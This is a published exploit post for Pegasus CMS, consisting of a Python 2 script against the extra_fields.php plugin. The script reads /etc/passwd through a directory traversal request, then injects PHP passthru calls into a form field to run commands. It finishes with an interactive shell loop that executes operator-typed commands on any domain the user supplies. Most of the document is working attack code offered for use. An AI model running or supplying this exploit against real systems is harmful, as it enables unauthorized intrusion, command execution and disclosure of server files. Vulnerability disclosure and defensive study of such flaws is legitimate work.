# Exploit Title: Pegasus extra_fields.php Plugin Remote Code Execution
# Date: 14 March 2019
# Exploit Author: R3zk0n
# Vendor Homepage: https://www.wisdom.com.au/web/pegasus-cms
# Software Link: N/A
# Version: 1.0
# Tested on: Linux
# CVE : N/A
The Pegasus CMS is vulnerable to directory travaseral and Remote code execution due to the way the extra_fields.php plugin functions.
The Plugin can be exploited using the safer eval trick linked below http://justanotherhacker.com/2016/04/analysis_of_the_safer_eval_rce_aka__the_wahckon_bug.html to obtain remote code execution
Exploit attached below:
#Eval is secure.. not really.
# These Greetz to people who are smart, Wireghoul, Nano, Silverly, m3mantra, and leostat. and z3al
requests.packages.urllib3.disable_warnings()
banner = '''
Welcome to the DANGER ZONE.
;;J,ss,g,;
,s#@##"""77"^""77""@@Mw,
,#@#C7: ,, *^*@@@w
;@#7. ;#@#. ]ssmMMm#@@@m,
,##\` ,< ,@@@@Q ,,#@#*7` ;s@@@@@@@@@Q
;@#` ]@C ;@@@@@@@@@@"\ ;@@@@@@@@@@@@@@@m
@#\ #@@w#@@@@@@@@@@#~ @@@#M5"7j5#@@@@@@@@Q
;@C @@@@@@@@@@@@@@#\ @#\, *77@@@k
##. #@@@@@@@@@@@@@# '* {@@@
@#` a@@@@@@@@@@@@@@L *%@@
{@* ]@@@@@@@@@@@@@@#C* "@@
.@b;,s#@@@@@@@#@@#@@@@@@#C* ;s#@@@@@@m, j@b
@@@#@@@@@@@@@@@@@@@@@@#C =* ,ppJJs#@@@@@@@@@@@@@k @@
@#1@@@@@@@@@@@@@@@@#W~ ;@QQ@@@@@@@@@#` `|7@@@@~ ]@p
@[ @@5"@@@@@@@@@@#~ s@@@@@####@@@@@#\ @@@b ]@b
@[ @ j@@@@@@@@~]#"7 "@@#"\ 7@@C @@@b ]@b
@@ @@@@@@@@@@c ^@@ ]@ ,@@@# @@b
@@~ @ @@@@@@@@@@@b @# a@@@@" ]@@
j@Q @@@@@@@@@@@@@@@@o ,J ]\ s@@@@#"` ]@@L
]@b ]@@@@@@@@@@@@@@@@o ,@@@@> ;@@@@@#^ #@@#
@@Q """%*577"%@@@@@@# ]@@@@@C ;@@@@#C ;@@@#*
%@m @@@@@@@ .@@@@@# {@@@@@> s@@@@#*
7@@ @@M@@@@@k ^@@@"# @@@@@@@@@@@@@@@#
*@@m @@bj@@@b@@@o|"^]# %@@@@@@#M7@@#^
7@@m "# @@# @@7@@@@@@~ ^||:`,#@#C
^%@@m j @b j# \@@@@@@ ,#@@#
`7@@@mJ 7 ' |%@@@@@m, -g,ss#@@@@#C
`7%@@@Mm, `7"%####@@MMMM#@@@#M7.
^7@@@@@@@@@@@@@@@@@@@@#MT^:
`~^"7""""7^\*:
Chimeria Exploit.
pegausCMS Exploit's.
'''
print banner
raw_url = raw_input("Please enter a domain name: \n")
def dir_Trav(raw_url):
print "Checking for directory travseral..\n"
dir_list = requests.get("https://www."+ raw_url + "/file/includes/template/inc/test.cgi?&filename=/../../../../../../../../etc/passwd", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", "Cache-Control": "max-age=0"})
print dir_list.content
return
print "Trying to execute directory travseral"
dir_Trav(raw_url)
r = requests.get("http://" + raw_url)
print "Checking Status code: %s" % r.status_code
if r.status_code == 200:
print "Connected"
print "Checking is using vulnerable CMS."
vuln = "http://" + raw_url + "/file/includes/plugins/globalFields/submit.php"
b = requests.get("http://" + raw_url + "/file/includes/plugins/globalFields/submit.php")
print "Checking CMS Status: %s " % b.status_code
if b.status_code == 200:
print "Seems exploitable.. Lets try to list the files!"
print raw_url
list_files = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"ls -lah\");exit;phpinfo"})
print list_files.content
status = list_files.status_code
while status == 200:
try:
ShellCheck = raw_input("Shell>").strip()
Shell = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"{}\");exit;phpinfo".format(ShellCheck)})
print Shell.content
if ShellCheck == "exit":
sys.exit(0)
except KeyboardInterrupt:
print "Your exited bye"
sys.exit(0)
else:
print "Connected but does not seem exploitable. \n"
print "Bye!!!!!!!!!! \n"
else:
print "Not connected"